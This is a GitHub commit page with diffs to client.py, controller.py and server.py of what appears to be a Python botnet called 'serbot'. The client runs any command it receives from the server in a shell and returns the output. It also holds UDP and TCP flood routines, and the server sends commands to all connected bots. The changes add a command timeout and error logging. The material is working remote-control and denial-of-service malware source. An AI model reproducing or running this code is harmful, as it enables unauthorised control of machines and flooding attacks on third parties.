Skip to content

Commit

Permalink
master
Browse files Browse the repository at this point in the history
  • Loading branch information
dotcppfile committed Dec 24, 2014
1 parent e6b3b25 commit 5e36ef6
Show file tree
Hide file tree
Showing 3 changed files with 46 additions and 32 deletions.
39 changes: 26 additions & 13 deletions client.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
#!/usr/bin/env python2
#v2

import subprocess, os, sys, time, threading
import subprocess, os, sys, time, threading, signal
from socket import *

if (len(sys.argv) == 3):
Expand All @@ -10,6 +9,12 @@
else:
sys.exit("Usage: client.py <server ip> <server port>")

class Alarm(Exception):
pass

def alarm_handler(signum, frame):
raise Alarm

class udpFlood(threading.Thread):
def __init__ (self, victimip, victimport):
threading.Thread.__init__(self)
Expand Down Expand Up @@ -81,18 +86,26 @@ def main():
msg=s.recv(10240)
if ((msg != "exit") and ("cd " not in msg) and ("udpflood " not in msg) and ("tcpflood " not in msg) and (msg != "hellows123") and ("udpfloodall " not in msg) and ("tcpfloodall " not in msg)):
comm = subprocess.Popen(str(msg), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
STDOUT, STDERR = comm.communicate()
en_STDERR = bytearray(STDERR)
en_STDOUT = bytearray(STDOUT)
if (en_STDERR == ""):
if (en_STDOUT != ""):
print en_STDOUT
s.send(en_STDOUT)
signal.signal(signal.SIGALRM, alarm_handler)
signal.alarm(10)
try:
STDOUT, STDERR = comm.communicate()
en_STDERR = bytearray(STDERR)
en_STDOUT = bytearray(STDOUT)
if (en_STDERR == ""):
if (en_STDOUT != ""):
print en_STDOUT
s.send(en_STDOUT)
else:
s.send("[CLIENT] Command Executed")
else:
s.send("[CLIENT] Command Executed")
else:
print en_STDERR
s.send(en_STDERR)
print en_STDERR
s.send(en_STDERR)
except Alarm:
comm.terminate()
comm.kill()
s.send("[CLIENT] 30 Seconds Exceeded - SubProcess Killed\n")
signal.alarm(0)
elif ("cd " in msg):
msg = msg.replace("cd ","")
os.chdir(msg)
Expand Down
1 change: 0 additions & 1 deletion controller.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,4 @@
#!/usr/bin/env python2
#v2

import subprocess, os, sys, time, threading
from socket import *
Expand Down
38 changes: 20 additions & 18 deletions server.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
#!/usr/bin/env python2
#v3

import os, sys, time
import os, sys, time, datetime
from socket import *

if (len(sys.argv) == 4):
Expand All @@ -25,21 +24,25 @@
s=socket(AF_INET, SOCK_STREAM)
s.settimeout(5)
s.bind(("0.0.0.0",port))
s.listen(100)
s.listen(5)

allConnections = []
allAddresses = []
allAddresses = []

def updateLogs():

def updateLogs(newlog):
time = datetime.datetime.now()
newlog = "[%s] %s\n" % (time, newlog)
f = open("serbot-logs.txt", "a")
f.write(newlog)
f.close()

def quitClients():
for item in allConnections:
try:
item.send("exit")
item.close()
except:
pass
except Exception as error:
updateLogs(error)

del allConnections[:]
del allAddresses[:]
Expand Down Expand Up @@ -117,7 +120,7 @@ def main():

try:
data=q.recv(10240)
if ((data != "stop") and ("cd " not in data) and ("udpflood " not in data) and ("tcpflood " not in data) and (data != "quit")):
if ((data != "stop") and ("cd " not in data) and ("udpflood " not in data) and ("tcpflood " not in data)):
try:
allConnections[chosenone].send(data)
msg=allConnections[chosenone].recv(10240)
Expand All @@ -143,11 +146,8 @@ def main():
except:
q.send("[ERROR] Client closed the connection\n")
break
elif (data == "stop"):
break

elif (data == "quit"):
breakit = True
elif (data == "stop"):
break
except:
quitClients()
Expand All @@ -160,8 +160,8 @@ def main():
for item in allConnections:
try:
item.send(command)
except:
pass
except Exception as error:
updateLogs(error)
elif(command == "quit"):
quitClients()
break
Expand All @@ -178,7 +178,9 @@ def main():

del allConnections[:]
del allAddresses[:]
except:
pass
except Exception as error:
updateLogs(error)
except Exception as error:
updateLogs(error)

time.sleep(5)

0 comments on commit 5e36ef6

Please sign in to comment.